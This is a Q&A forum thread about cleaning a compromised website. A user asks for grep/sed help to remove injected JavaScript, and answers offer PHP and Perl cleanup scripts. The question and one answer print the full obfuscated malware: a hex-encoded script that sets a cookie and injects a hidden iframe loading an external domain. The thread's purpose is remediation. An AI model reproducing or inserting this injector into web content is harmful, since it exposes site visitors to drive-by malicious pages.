0

I'm trying to remove malware code from a site using a script, I'm having trouble getting the regex right for the malware part.

What I want to do eventually is to use sed in order to find the malicious code and replace it. In my first attempt I tried to do something like this:

#fgrep -rl --exclude='*.sh' $SEARCH . | xargs sed -i 's/$SEARCH/$REPLACE/g'

Where SEARCH is:

SEARCH='/*236499a9e0b11c0dc3eecf5cf751a097*/
var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28
\x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E
\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62
\x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A
\x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E
\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&
&_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x
10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_
0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1
0b1x8);};};
/*236499a9e0b11c0dc3eecf5cf751a097*/'

and REPLACE:

REPLACE=''

I could not get the sed part to work, the grep works.

So now I'm thinking I could use regular expressions to accomplish this, So I don't have to use the whole string.

Here's the other code:

INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'

grep -rl --exclude='*.sh' $INFECTED .

This doesn't do anything.

This one does:

INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*'

grep -rl --exclude='*.sh' $INFECTED .

And this one too:

INFECTED='.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'

grep -rl --exclude='*.sh' $INFECTED .

I'm hoping to get the regex right in grep, and then apply it in sed. Any ideas on how accomplish the goal better ? Or what is wrong with this code ?

Thanks =)

  • 2
    Wouldn't it be easier to just re-deploy the site? – choroba Nov 6 '15 at 13:59
  • Theres no backup before the malware, and there's a lot of files infected. So I'm thinking this might be easier. – Andres Zapata Nov 6 '15 at 14:03
  • You can't remove malware just by removing visibly infected files. There's a very high chance that there are parts of the malware that you don't see, and if you only clean the visible parts, your machine will still be infected and serve more malware, participate on botnets, send out your user database etc. The only way to remove the malware is to re-deploy. – Gilles 'SO- stop being evil' Aug 7 '16 at 22:42
1

Since I'm more familiar with php, I ended up with this:

#! /opt/php56/bin/php
<?php

$searchpattern='/*236499a9e0b11c0dc3eecf5cf751a097*/
var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28
\x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E
\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62
\x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A
\x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E
\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&
&_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x
10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_
0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1
0b1x8);};};
/*236499a9e0b11c0dc3eecf5cf751a097*/';

$escaped_search = escapeshellarg($searchpattern);

$cmd = "grep -Frl $escaped_search .";

exec($cmd, $files);

$iter = 0;

foreach ($files as $file) {
    if (basename($file) !== basename(__FILE__)) {
        $iter++;
        $filecontents = file_get_contents($file);
        $filecontents = preg_replace("/(\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/)[\s\S]*(\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/)/", '', $filecontents);      
        file_put_contents($file, $filecontents);
    }
}

print("for count: $iter") . PHP_EOL;

$count = exec("fgrep -lr $escaped_search . | wc -l");

print("grep count: $count") . PHP_EOL;

I think the grep part could be optimized with a regular expression too, something like this:

fgrep -rl '(\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/)[\s\S]*(\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/)' .

But I dint' try it, so I don't know for sure.

A better way to recover from this kind of malware would be to use a backup, but In my case this wasn't possible, so I opted for the search/replace strategy.

Thanks for all the help !!

0

This could be done as a one-liner but I'm writing it as a standalone script to avoid horizontal scroll bars from the long search string.

#! /usr/bin/perl -p -i.bak

# save as fix.pl, and make executable with chmod +x fix.pl

BEGIN { 
    undef $/;
    $srch='/\\*236499a9e0b11c0dc3eecf5cf751a097\\*/';
} ; 

s:$srch.*$srch::sgo ;

then run ./fix.pl infectedfile.php

This will delete everything from the first instance of *236499a9e0b11c0dc3eecf5cf751a097* through to the second instance. The original file will be kept as infectedfile.php.bak - you can rm or mv them later with find . -type f -name '*.php.bak' ...

If you don't want the .bak files, change -i.bak on the #! line to just -i.

The undef $/; tells perl to slurp in the entire file at once.

The s modifier at the end of the regexp (/sgo) tells perl to treat the input as a single string, with newlines etc regarded the same as any other character. The g modifier makes it a global search and replace (in case there's more than one occurence in a file), and the o modifier tells perl that even though the regexp uses variables, it's not going to change at all for the life of the script so it's safe to compile the regexp only once (which greatly speeds up execution).

To fix all your infected .php files:

find . -type -f -name '*.php' -exec ./fix.pl {} +

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.